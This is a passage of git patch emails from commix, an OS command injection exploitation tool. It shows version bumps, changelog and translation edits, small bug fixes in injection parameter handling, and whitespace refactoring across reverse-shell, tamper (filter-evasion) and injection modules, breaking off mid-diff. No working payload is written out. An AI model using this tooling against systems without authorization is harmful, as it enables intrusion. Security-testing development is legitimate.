++ 1 file changed, 2 insertions(+) diff --git a/doc/THANKS.md b/doc/THANKS.md index 5999a82158..08c0cc1482 100755 --- a/doc/THANKS.md +++ b/doc/THANKS.md @@ -7,6 +7,8 @@ * Thanks [m3g9tr0n](https://twitter.com/m3g9tr0n) for a donation. ## List of individual contributors: +* Thanks [0xFred](https://github.com/0xFred) for contributing code. +* Thanks [verfosec](https://github.com/verfosec) for contributing a Farsi(Persian) translation of README.md. * Thanks [daniruiz](https://github.com/daniruiz) for contributing code. * Thanks [galihap76](https://github.com/galihap76) for contributing an Indonesian translation of README.md. * Thanks [JitPatro](https://github.com/JitPatro) for creating a snap package for commix (i.e. `snap install commix`). From 707e0cb0812e97aad3a82dc564094c4fc0b40edb Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 23 Jul 2023 12:56:40 +0300 Subject: [PATCH 0330/1023] Minor update --- src/core/shells/reverse_tcp.py | 15 ++++++--------- src/utils/settings.py | 4 +++- 2 files changed, 9 insertions(+), 10 deletions(-) diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index 82cd695433..6d10cdbb25 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -101,9 +101,8 @@ def set_php_working_dir(): if php_dir in settings.CHOICE_YES: break elif php_dir in settings.CHOICE_NO: - message = "Please provide a custom working directory for PHP (e.g. '" - message += settings.WIN_PHP_DIR + "') > " - settings.WIN_PHP_DIR = common.read_input(message, default=None, check_batch=True) + message = "Please provide a custom working directory for PHP (e.g. '" + settings.WIN_PHP_DIR + "') > " + settings.WIN_PHP_DIR = common.read_input(message, default=settings.WIN_PHP_DIR, check_batch=True) settings.USER_DEFINED_PHP_DIR = True break else: @@ -121,9 +120,8 @@ def set_python_working_dir(): if python_dir in settings.CHOICE_YES: break elif python_dir in settings.CHOICE_NO: - message = "Please provide a full path directory for Python interpreter (e.g. '" - message += "C:\\Python27\\python.exe') > " - settings.WIN_PYTHON_INTERPRETER = common.read_input(message, default=None, check_batch=True) + message = "Please provide a full path directory for Python interpreter (e.g. '" + settings.WIN_CUSTOM_PYTHON_INTERPRETER + "') > " + settings.WIN_PYTHON_INTERPRETER = common.read_input(message, default=settings.WIN_CUSTOM_PYTHON_INTERPRETER, check_batch=True) settings.USER_DEFINED_PYTHON_DIR = True break else: @@ -141,9 +139,8 @@ def set_python_interpreter(): if python_interpreter in settings.CHOICE_YES: break elif python_interpreter in settings.CHOICE_NO: - message = "Please provide a custom working interpreter for Python (e.g. '" - message += "python27') > " - settings.LINUX_PYTHON_INTERPRETER = common.read_input(message, default=None, check_batch=True) + message = "Please provide a custom working interpreter for Python (e.g. '" + settings.LINUX_CUSTOM_PYTHON_INTERPRETER + "') > " + settings.LINUX_PYTHON_INTERPRETER = common.read_input(message, default=settings.LINUX_CUSTOM_PYTHON_INTERPRETER, check_batch=True) settings.USER_DEFINED_PYTHON_INTERPRETER = True break else: diff --git a/src/utils/settings.py b/src/utils/settings.py index d3fbacd29b..7ae42eac2e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "42" +REVISION = "43" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -293,10 +293,12 @@ def sys_argv_errors(): # Default (windows) target host's python interpreter WIN_PYTHON_INTERPRETER = "python.exe" +WIN_CUSTOM_PYTHON_INTERPRETER = "C:\\Python27\\python.exe" USER_DEFINED_PYTHON_DIR = False # Default (linux) target host's python interpreter LINUX_PYTHON_INTERPRETER = "python3" +LINUX_CUSTOM_PYTHON_INTERPRETER = "python27" USER_DEFINED_PYTHON_INTERPRETER = False CMD_NUL = "" From 9061b277069e1fdb631a74fa26745be1502225d2 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 30 Jul 2023 17:54:28 +0300 Subject: [PATCH 0331/1023] Potential fix for https://github.com/commixproject/commix/issues/807, https://github.com/commixproject/commix/issues/760 --- src/core/injections/controller/controller.py | 3 ++- src/utils/settings.py | 2 +- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 262b731db4..4dd10dcf03 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -91,7 +91,8 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, payload = _urllib.parse.quote(payload) payload = parameters.prefixes(payload, prefix="") payload = parameters.suffixes(payload, suffix="") - payload = checks.perform_payload_modification(payload).replace(whitespace, settings.WHITESPACES[0]) + payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) + payload = checks.perform_payload_modification(payload) if settings.VERBOSITY_LEVEL >= 1: print(settings.print_payload(payload)) data = None diff --git a/src/utils/settings.py b/src/utils/settings.py index 7ae42eac2e..15840de653 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "43" +REVISION = "44" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 697d855f56fc6bdd31bd4026496ad2f70cc2f02e Mon Sep 17 00:00:00 2001 From: Galih Anggoro Prasetya <83481679+galihap76@users.noreply.github.com> Date: Tue, 8 Aug 2023 09:36:02 +0700 Subject: [PATCH 0332/1023] Update README-idn-IDN.md Fixing the meaning of the word indonesian. --- doc/translations/README-idn-IDN.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/doc/translations/README-idn-IDN.md b/doc/translations/README-idn-IDN.md index 4f3855f13c..65743cd494 100644 --- a/doc/translations/README-idn-IDN.md +++ b/doc/translations/README-idn-IDN.md @@ -28,14 +28,14 @@ Atau, Anda dapat mengunduh [tarball](https://github.com/commixproject/commix/tar ## Penggunaan -Untuk mendapatkan daftar semua opsi dan sakelar gunakan: +Untuk mendapatkan daftar semua opsi dan beralih gunakan: $ python commix.py -h -Untuk mendapatkan gambaran umum tentang opsi commix yang tersedia, sakelar dan / atau ide dasar tentang cara menggunakan commix, periksa **[penggunaan](https://github.com/commixproject/commix/wiki/Usage)**, **[contoh penggunaan](https://github.com/commixproject/commix/wiki/Usage-Examples)** dan **[bypass filter](https://github.com/commixproject/commix/wiki/Filters-Bypasses)** halaman wiki. +Untuk mendapatkan gambaran umum tentang opsi commix yang tersedia, beralih dan / atau ide dasar tentang cara menggunakan commix, periksa **[penggunaan](https://github.com/commixproject/commix/wiki/Usage)**, **[contoh penggunaan](https://github.com/commixproject/commix/wiki/Usage-Examples)** dan **[bypass filter](https://github.com/commixproject/commix/wiki/Filters-Bypasses)** halaman wiki. ## Link -* Panduan: https://github.com/commixproject/commix/wiki +* Panduan : https://github.com/commixproject/commix/wiki * Pelacak masalah : https://github.com/commixproject/commix/issues From 265d8a54acace23dc39d917d7bcb63e5fd60b7c0 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 10 Aug 2023 08:47:32 +0300 Subject: [PATCH 0333/1023] Update CHANGELOG.md --- doc/CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 9ab158dee8..1cd90877e5 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.8 (TBA) +* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: Minor improvement regarding parsing raw HTTP request from a file (i.e. `-r` option). * Revised: Minor improvement regarding dynamic code evaluation technique (i.e. command execution output). * Fixed: Minor bug-fix regarding `--skip-empty` flag, for skipping the testing of the parameter(s) with empty value(s). From f489312f355e79ed4e76d7814074c41754e18ad4 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 14 Aug 2023 11:43:18 +0300 Subject: [PATCH 0334/1023] Updated to v3.8 --- doc/CHANGELOG.md | 4 +++- setup.py | 2 +- src/utils/settings.py | 2 +- 3 files changed, 5 insertions(+), 3 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 1cd90877e5..a7e9dd3fac 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,4 @@ -## Version 3.8 (TBA) +## Version 3.8 (2023-08-14) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: Minor improvement regarding parsing raw HTTP request from a file (i.e. `-r` option). * Revised: Minor improvement regarding dynamic code evaluation technique (i.e. command execution output). @@ -16,6 +16,8 @@ * Replaced: The `--dependencies` option has been replaced with `--ignore-dependencies`, regarding ignoring all required third-party library dependencies. * Added: New option `--alert` to run host OS command(s) when injection point is found. +_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v3.7...v3.8)._ + ## Version 3.7 (2023-02-17) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: Improvements regarding parsing HTTP requests through HTTP proxy (i.e `--proxy` option). diff --git a/setup.py b/setup.py index dce7dc683a..804f1feb6a 100644 --- a/setup.py +++ b/setup.py @@ -17,7 +17,7 @@ setup( name='commix', - version='3.8-dev', + version='3.8', description='Automated All-in-One OS Command Injection Exploitation Tool', long_description=open('README.md').read(), long_description_content_type='text/markdown', diff --git a/src/utils/settings.py b/src/utils/settings.py index 15840de653..5913a8ffcd 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -242,7 +242,7 @@ def sys_argv_errors(): AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" REVISION = "44" -STABLE_RELEASE = False +STABLE_RELEASE = True VERSION = "v" if STABLE_RELEASE: VERSION = VERSION + VERSION_NUM + "-stable" From 6cbdd5c4d13b689cf2a9278e46a29113b341af15 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 27 Aug 2023 09:23:07 +0300 Subject: [PATCH 0335/1023] Potential fix for https://github.com/commixproject/commix/issues/857 --- setup.py | 2 +- .../injections/blind/techniques/time_based/tb_injector.py | 2 +- src/utils/settings.py | 6 +++--- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/setup.py b/setup.py index 804f1feb6a..c024e4cfa4 100644 --- a/setup.py +++ b/setup.py @@ -17,7 +17,7 @@ setup( name='commix', - version='3.8', + version='3.9-dev', description='Automated All-in-One OS Command Injection Exploitation Tool', long_description=open('README.md').read(), long_description_content_type='text/markdown', diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index 94d987a73c..909a3df612 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -345,7 +345,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, else: check_start = 0 check_how_long = 0 - output = False + output = "" return check_how_long, output diff --git a/src/utils/settings.py b/src/utils/settings.py index 5913a8ffcd..f1be06caf8 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -240,9 +240,9 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" -VERSION_NUM = "3.8" -REVISION = "44" -STABLE_RELEASE = True +VERSION_NUM = "3.9" +REVISION = "1" +STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: VERSION = VERSION + VERSION_NUM + "-stable" From 579d2cfacb7271b87e44b4e4dfc6ee3f159a21e9 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 28 Aug 2023 09:24:11 +0300 Subject: [PATCH 0336/1023] Potential fix for https://github.com/commixproject/commix/issues/858 --- src/core/requests/parameters.py | 22 +++++++++++----------- src/utils/settings.py | 2 +- 2 files changed, 12 insertions(+), 12 deletions(-) diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 1f083aeb29..b729f42f44 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -139,10 +139,10 @@ def multi_params_get_value(parameter): # Replace the value of parameter with INJECT_HERE tag if len(value) == 0: if not menu.options.skip_empty: - all_params[param] = all_params[param] + settings.INJECT_TAG + all_params[param] = ''.join(all_params[param]) + settings.INJECT_TAG else: - all_params[param] = all_params[param].replace(value, value + settings.INJECT_TAG) - all_params[param - 1] = all_params[param - 1].replace(settings.INJECT_TAG, "") + all_params[param] = ''.join(all_params[param]).replace(value, value + settings.INJECT_TAG) + all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") parameter = settings.PARAMETER_DELIMITER.join(all_params) # Reconstruct the URL url = url_part + "?" + parameter @@ -326,14 +326,14 @@ def multi_params_get_value(param, all_params): if len(value) == 0: if not menu.options.skip_empty: if settings.IS_JSON: - all_params[param] = all_params[param].replace(":\"\"", ":\"" + settings.INJECT_TAG + "\"").replace(":\\\"\\\"", ":\\\"" + settings.INJECT_TAG + "\\\"") + all_params[param] = ''.join(all_params[param]).replace(":\"\"", ":\"" + settings.INJECT_TAG + "\"").replace(":\\\"\\\"", ":\\\"" + settings.INJECT_TAG + "\\\"") elif settings.IS_XML: - all_params[param] = all_params[param].replace(">" + settings.INJECT_TAG + "" + settings.INJECT_TAG + " Date: Fri, 1 Sep 2023 09:18:39 +0300 Subject: [PATCH 0337/1023] Minor refactoring --- src/core/injections/controller/checks.py | 8 ++--- src/core/injections/controller/controller.py | 10 +++---- src/core/injections/controller/parser.py | 2 +- .../techniques/file_based/fb_injector.py | 2 +- src/core/main.py | 2 +- src/core/modules/shellshock/shellshock.py | 2 +- src/core/requests/headers.py | 2 +- src/core/requests/parameters.py | 30 +++++++++---------- src/core/shells/bind_tcp.py | 2 +- src/core/shells/reverse_tcp.py | 4 +-- src/core/tamper/backslashes.py | 2 +- src/core/tamper/caret.py | 2 +- src/core/tamper/dollaratsigns.py | 2 +- src/core/tamper/doublequotes.py | 2 +- src/core/tamper/singlequotes.py | 2 +- src/core/tamper/uninitializedvariable.py | 2 +- src/utils/settings.py | 2 +- src/utils/update.py | 14 ++++----- 18 files changed, 46 insertions(+), 46 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index dfc82f995e..9575cfacec 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1135,11 +1135,11 @@ def check_skipped_params(check_parameters, http_request_method): """ def print_non_listed_params(check_parameters, http_request_method, header_name): if settings.TEST_PARAMETER: - testable_parameters = ",".join(settings.TEST_PARAMETER).replace(settings.SINGLE_WHITESPACE,"") + testable_parameters = ",".join(settings.TEST_PARAMETER).replace(settings.SINGLE_WHITESPACE, "") testable_parameters = testable_parameters.split(",") non_exist_param = list(set(testable_parameters) - set(check_parameters)) if non_exist_param: - non_exist_param = ",".join(non_exist_param).replace(settings.SINGLE_WHITESPACE,"") + non_exist_param = ",".join(non_exist_param).replace(settings.SINGLE_WHITESPACE, "") non_exist_param = non_exist_param.split(",") if menu.options.level >= settings.COOKIE_INJECTION_LEVEL and \ menu.options.test_parameter != None: @@ -2286,11 +2286,11 @@ def add_command_substitution(cmd): Remove command substitution on provided command """ def remove_command_substitution(cmd): - cmd = cmd.replace("echo $(","").replace(")","") + cmd = cmd.replace("echo $(", "").replace(")", "") return cmd def remove_parenthesis(cmd): - cmd = cmd.replace("(","").replace(")","") + cmd = cmd.replace("(", "").replace(")", "") return cmd """ diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 4dd10dcf03..1846a1892e 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -103,7 +103,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, elif menu.options.data and http_request_method == settings.HTTPMETHOD.POST or \ menu.options.data and settings.INJECT_TAG in menu.options.data: if inject_http_headers: - data = menu.options.data.replace(settings.INJECT_TAG,"").encode(settings.DEFAULT_CODEC) + data = menu.options.data.replace(settings.INJECT_TAG, "").encode(settings.DEFAULT_CODEC) else: data = menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) else: @@ -113,7 +113,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, if cookie: request.add_header(settings.COOKIE, cookie) if inject_http_headers: - request.add_header(check_parameter.replace("'","").strip(), (settings.CUSTOM_HEADER_VALUE + payload).encode(settings.DEFAULT_CODEC)) + request.add_header(check_parameter.replace("'", "").strip(), (settings.CUSTOM_HEADER_VALUE + payload).encode(settings.DEFAULT_CODEC)) headers.do_check(request) response = requests.get_request_response(request) @@ -161,7 +161,7 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t elif menu.options.data and http_request_method == settings.HTTPMETHOD.POST or \ menu.options.data and settings.INJECT_TAG in menu.options.data: if inject_http_headers: - data = menu.options.data.replace(settings.INJECT_TAG,"").encode(settings.DEFAULT_CODEC) + data = menu.options.data.replace(settings.INJECT_TAG, "").encode(settings.DEFAULT_CODEC) else: data = menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) else: @@ -171,7 +171,7 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t if cookie: request.add_header(settings.COOKIE, cookie) if inject_http_headers: - request.add_header(check_parameter.replace("'","").strip(), (settings.CUSTOM_HEADER_VALUE + payload).encode(settings.DEFAULT_CODEC)) + request.add_header(check_parameter.replace("'", "").strip(), (settings.CUSTOM_HEADER_VALUE + payload).encode(settings.DEFAULT_CODEC)) headers.do_check(request) response = requests.get_request_response(request) @@ -384,7 +384,7 @@ def user_agent_injection(url, http_request_method, filename, timesec): settings.USER_AGENT_INJECTION = True if settings.USER_AGENT_INJECTION: check_parameter = header_name = " User-Agent" - settings.HTTP_HEADER = header_name[1:].replace("-","").lower() + settings.HTTP_HEADER = header_name[1:].replace("-", "").lower() check_for_stored_sessions(url, http_request_method) if not injection_proccess(url, check_parameter, http_request_method, filename, timesec): settings.USER_AGENT_INJECTION = None diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index 9f13df06c5..4d09910fe7 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -172,7 +172,7 @@ def invalid_data(request): else: match = re.findall(r"(.*): (.*)", line) match = "".join([str(i) for i in match]).replace("', '",":") - match = match.replace("('","") + match = match.replace("('", "") match = match.replace("')","\\n") # Ignore some header. if "Content-Length" or "Accept-Encoding" in match: diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index 28a00bbba7..78ac91973d 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -337,7 +337,7 @@ def injection_results(url, OUTPUT_TEXTFILE, timesec): shell = checks.page_encoding(response, action="encode").rstrip().lstrip() #shell = [newline.replace("\n",settings.SINGLE_WHITESPACE) for newline in shell] if settings.TARGET_OS == settings.OS.WINDOWS: - shell = [newline.replace("\r","") for newline in shell] + shell = [newline.replace("\r", "") for newline in shell] #shell = [space.strip() for space in shell] shell = [empty for empty in shell if empty] except _urllib.error.HTTPError as e: diff --git a/src/core/main.py b/src/core/main.py index b836223a8e..d54e4c705b 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -400,7 +400,7 @@ def main(filename, url): menu.options.tech = "".join(settings.AVAILABLE_TECHNIQUES) for skip_tech_name in settings.AVAILABLE_TECHNIQUES: if skip_tech_name in menu.options.skip_tech: - menu.options.tech = menu.options.tech.replace(skip_tech_name,"") + menu.options.tech = menu.options.tech.replace(skip_tech_name, "") if len(menu.options.tech) == 0: err_msg = "Detection procedure was aborted due to skipping all injection techniques." print(settings.print_critical_msg(err_msg)) diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index e708cba555..ec69042e21 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -26,7 +26,7 @@ if menu.options.cookie: if settings.INJECT_TAG in menu.options.cookie: - menu.options.cookie = menu.options.cookie.replace(settings.INJECT_TAG ,"") + menu.options.cookie = menu.options.cookie.replace(settings.INJECT_TAG , "") default_cookie = menu.options.cookie """ diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 10e9e853b8..282397fd0e 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -318,7 +318,7 @@ def do_check(request): try: authline = e.headers.get('www-authenticate', '') authobj = re.match('''(\w*)\s+realm=(.*),''',authline).groups() - realm = authobj[1].split(',')[0].replace("\"","") + realm = authobj[1].split(',')[0].replace("\"", "") user_pass_pair = menu.options.auth_cred.split(":") username = user_pass_pair[0] password = user_pass_pair[1] diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index b729f42f44..ed92072ed3 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -110,7 +110,7 @@ def multi_params_get_value(parameter): parameters = parameters.replace(value, value + settings.INJECT_TAG) # Reconstruct the URL url = url_part + "?" + parameters - url = url.replace(settings.RANDOM_TAG,"") + url = url.replace(settings.RANDOM_TAG, "") urls_list.append(url) return urls_list else: @@ -146,7 +146,7 @@ def multi_params_get_value(parameter): parameter = settings.PARAMETER_DELIMITER.join(all_params) # Reconstruct the URL url = url_part + "?" + parameter - url = url.replace(settings.RANDOM_TAG,"") + url = url.replace(settings.RANDOM_TAG, "") urls_list.append(url) else: for param in range(0,len(multi_parameters)): @@ -154,7 +154,7 @@ def multi_params_get_value(parameter): parameter = settings.PARAMETER_DELIMITER.join(multi_parameters) # Reconstruct the URL url = url_part + "?" + parameter - url = url.replace(settings.RANDOM_TAG,"") + url = url.replace(settings.RANDOM_TAG, "") urls_list.append(url) return urls_list @@ -181,7 +181,7 @@ def vuln_GET_param(url): settings.POST_WILDCARD_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] except Exception: pass - settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG,"") + settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG, "") if re.search(settings.VALUE_BOUNDARIES, settings.TESTABLE_VALUE) and settings.INJECT_INSIDE_BOUNDARIES: settings.TESTABLE_VALUE = checks.get_value_inside_boundaries(settings.TESTABLE_VALUE) if settings.BASE64_PADDING in pairs[param]: @@ -292,7 +292,7 @@ def multi_params_get_value(param, all_params): parameter = parameter + settings.INJECT_TAG else: parameter = parameter.replace(value, value + settings.INJECT_TAG) - parameter = parameter.replace(settings.RANDOM_TAG,"") + parameter = parameter.replace(settings.RANDOM_TAG, "") return parameter else: return multi_parameters @@ -335,7 +335,7 @@ def multi_params_get_value(param, all_params): all_params[param] = ''.join(all_params[param]).replace(value, value + settings.INJECT_TAG) all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") parameter = settings.PARAMETER_DELIMITER.join(all_params) - parameter = parameter.replace(settings.RANDOM_TAG,"") + parameter = parameter.replace(settings.RANDOM_TAG, "") if type(parameter) != list: parameters_list.append(parameter) parameter = parameters_list @@ -345,7 +345,7 @@ def multi_params_get_value(param, all_params): # Grab the value of parameter. value = multi_params_get_value(param, multi_parameters) parameter = settings.PARAMETER_DELIMITER.join(multi_parameters) - parameter = parameter.replace(settings.RANDOM_TAG,"") + parameter = parameter.replace(settings.RANDOM_TAG, "") return parameter @@ -392,7 +392,7 @@ def vuln_POST_param(parameter, url): settings.POST_WILDCARD_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] except Exception: pass - settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG,"") + settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG, "") if re.search(settings.VALUE_BOUNDARIES, settings.TESTABLE_VALUE) and settings.INJECT_INSIDE_BOUNDARIES: settings.TESTABLE_VALUE = checks.get_value_inside_boundaries(settings.TESTABLE_VALUE) if settings.BASE64_PADDING in pairs[param]: @@ -489,7 +489,7 @@ def multi_params_get_value(parameter): cookie = cookie + settings.INJECT_TAG else: cookie = cookie.replace(value, value + settings.INJECT_TAG) - cookie = cookie.replace(settings.RANDOM_TAG,"") + cookie = cookie.replace(settings.RANDOM_TAG, "") return cookie # Check if multiple parameters are supplied. @@ -524,7 +524,7 @@ def multi_params_get_value(parameter): all_params[param] = ''.join(all_params[param]).replace(value, value + settings.INJECT_TAG) all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") cookie = settings.COOKIE_DELIMITER.join(all_params) - cookie = cookie.replace(settings.RANDOM_TAG,"") + cookie = cookie.replace(settings.RANDOM_TAG, "") if type(cookie) != list: cookies_list.append(cookie) cookie = cookies_list @@ -534,7 +534,7 @@ def multi_params_get_value(parameter): value = re.findall(r'=(.*)', multi_parameters[param]) value = ''.join(value) cookie = settings.COOKIE_DELIMITER.join(multi_parameters) - cookie = cookie.replace(settings.RANDOM_TAG,"") + cookie = cookie.replace(settings.RANDOM_TAG, "") return cookie @@ -555,7 +555,7 @@ def specify_cookie_parameter(cookie): settings.POST_WILDCARD_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] except Exception: pass - settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG,"") + settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG, "") break else: inject_cookie = cookie @@ -566,7 +566,7 @@ def specify_cookie_parameter(cookie): The user-agent based injection. """ def specify_user_agent_parameter(user_agent): - settings.TESTABLE_VALUE = user_agent.replace(settings.INJECT_TAG,"") + settings.TESTABLE_VALUE = user_agent.replace(settings.INJECT_TAG, "") return user_agent @@ -574,7 +574,7 @@ def specify_user_agent_parameter(user_agent): The referer based injection. """ def specify_referer_parameter(referer): - settings.TESTABLE_VALUE = referer.replace(settings.INJECT_TAG,"") + settings.TESTABLE_VALUE = referer.replace(settings.INJECT_TAG, "") return referer @@ -582,7 +582,7 @@ def specify_referer_parameter(referer): The host based injection. """ def specify_host_parameter(host): - settings.TESTABLE_VALUE = host.replace(settings.INJECT_TAG,"") + settings.TESTABLE_VALUE = host.replace(settings.INJECT_TAG, "") return host diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py index 98fdf36b33..bac0b20b53 100755 --- a/src/core/shells/bind_tcp.py +++ b/src/core/shells/bind_tcp.py @@ -71,7 +71,7 @@ def msf_launch_msg(output): print(settings.print_info_msg(info_msg)) info_msg = "Once the loading is done, press here any key to continue..." sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdin.readline().replace("\n","") + sys.stdin.readline().replace("\n", "") # Remove the ouput file. os.remove(output) diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index 6d10cdbb25..8c512882e0 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -86,7 +86,7 @@ def msf_launch_msg(output): print(settings.print_info_msg(info_msg)) info_msg = "Once the loading is done, press here any key to continue..." sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdin.readline().replace("\n","") + sys.stdin.readline().replace("\n", "") # Remove the ouput file. os.remove(output) @@ -538,7 +538,7 @@ def other_reverse_shells(separator): for line in unicorn_file: line = line.rstrip() if "Magic Unicorn Attack Vector v" in line: - unicorn_version = line.replace("Magic Unicorn Attack Vector v", "").replace(settings.SINGLE_WHITESPACE, "").replace("-","").replace("\"","").replace(")","") + unicorn_version = line.replace("Magic Unicorn Attack Vector v", "").replace(settings.SINGLE_WHITESPACE, "").replace("-", "").replace("\"", "").replace(")", "") break except: unicorn_version = "" diff --git a/src/core/tamper/backslashes.py b/src/core/tamper/backslashes.py index b14bf0e23d..2b8fe8d8db 100644 --- a/src/core/tamper/backslashes.py +++ b/src/core/tamper/backslashes.py @@ -36,7 +36,7 @@ def add_back_slashes(payload): for word in settings.IGNORE_TAMPER_TRANSFORMATION: _ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1)) if _ in payload: - payload = payload.replace(_,_.replace(obf_char,"")) + payload = payload.replace(_,_.replace(obf_char, "")) return payload if settings.TARGET_OS != settings.OS.WINDOWS: diff --git a/src/core/tamper/caret.py b/src/core/tamper/caret.py index c80bb74a82..fe693ce9df 100644 --- a/src/core/tamper/caret.py +++ b/src/core/tamper/caret.py @@ -39,7 +39,7 @@ def add_caret_symbol(payload): "^^": "^", '"^t""^o""^k""^e""^n""^s"': '"t"^"o"^"k"^"e"^"n"^"s"', '^t^o^k^e^n^s': '"t"^"o"^"k"^"e"^"n"^"s"', - re.sub(r'([b-zD-Z])', r'^\1', long_string) : long_string.replace("^","") + re.sub(r'([b-zD-Z])', r'^\1', long_string) : long_string.replace("^", "") } payload = re.sub(r'([b-zD-Z])', r'^\1', payload) rep = dict((re.escape(k), v) for k, v in rep.items()) diff --git a/src/core/tamper/dollaratsigns.py b/src/core/tamper/dollaratsigns.py index 2fb8d61fa6..8f1f4e52e8 100644 --- a/src/core/tamper/dollaratsigns.py +++ b/src/core/tamper/dollaratsigns.py @@ -34,7 +34,7 @@ def add_dollar_at_signs(payload): for word in settings.IGNORE_TAMPER_TRANSFORMATION: _ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1)) if _ in payload: - payload = payload.replace(_,_.replace(obf_char,"")) + payload = payload.replace(_,_.replace(obf_char, "")) return payload if settings.TARGET_OS != settings.OS.WINDOWS: diff --git 